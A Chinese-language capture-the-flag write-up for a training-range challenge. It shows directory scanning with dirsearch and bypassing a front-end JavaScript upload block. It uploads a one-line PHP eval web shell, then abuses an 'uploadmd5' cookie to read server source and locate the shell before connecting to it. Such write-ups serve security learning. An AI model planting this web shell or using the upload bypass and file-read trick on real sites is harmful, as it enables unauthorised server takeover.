事情起因#
整理遺漏的靶場
經過#
打開顯示是這樣的:
提示已經很明顯了,讓我們找到後台上傳shell
拿到網站根目錄的key
發現上傳點#
那就先掃描後台把,上dirsearch
python dirsearch.py -u xxx.xxx.xxx.xxx:yyy -e asp,php -x 400,403,404,500,503,514,564 -F -t 300 --random-agents --http-method head
emmmm,全是admin
目錄下的,單獨訪問admin
空頁面,那加上個upload.php
:
先跳轉到了upload1.php
,彈窗顯示無權上傳,之後跳轉到了upload2.php
:
作為一個曾經的ctf
菜雞選手,直覺告訴我upload1.php
有問題,上burp
攔截:
嗯,返回的頁面中我們可以清楚地看到有一個表單,彈窗攔截的首先考慮是前端js
瀏覽器禁用javascript
,重新訪問upload.php
,跳轉到upload1.php
後顯示出了上傳框
直接莽,上傳一個test.php
,內容如下:
<?php @eval($_POST['aa']);?>
上傳成功,跳轉到了upload_file.php
,Yeah!,哎,等一下,路徑呢?@(黑線)
獲取上傳路徑#
有點衝動了,上burp
重新攔截upload1.php
上傳介面:
嗯,一切很正常,但是上傳完它不給路徑啊,仔細看下驗證的cookie
:
Cookie:uploadmd5=verify%2F266c9bd3c1cd6c9e.txt;
這個驗證的這串字元266c9bd3c1cd6c9e
一般是有用的,既然跳轉到了upload_file.php
那麼說明生成上傳的shell
的路徑的程式肯定在upload_file.php
這個檔案裡
試下把uploadmd5
值改為upload_file.php
看能不能讀取原始碼 (有點任意檔案讀取漏洞的意思):
OHHHHHHH
,讀取到了上傳的原始碼:
<?php
$path="uploadfile/";//上傳路徑
$verify=$_POST["verify"];
$time=date("Ymd");
if($_FILES["filename"]["name"])
{
$file1=$_FILES["filename"]["name"];
$file2 = $path.$time.'_'.$verify.'_'.$file1;
$flag=1;
}
if($flag) $result=move_uploaded_file($_FILES["filename"]["tmp_name"],$file2);
if($result) echo "上傳成功!";
?>
上傳檔案的路徑構造語句也找到了:$path.$time.'_'.$verify.'_'.$file1
也就是上傳目錄.date("Ymd")_verify的值_檔案名
那我上傳的檔案路徑就應該為:admin/uploadfile/20200331_266c9bd3c1cd6c9e_test.php
結果#
螞蟻劍連接:
成功拿到flag
:
參考文章:
- 墨者學院 - WebShell 檔案上傳分析溯源 (第 2 題)
- 墨者學院 - WebShell 檔案上傳分析溯源 (第 2 題)
- 墨者學院 - WebShell 檔案上傳分析溯源 (第 2 題)-writeup
- 墨者 - WebShell 檔案上傳分析溯源 (第 2 題)
本文完。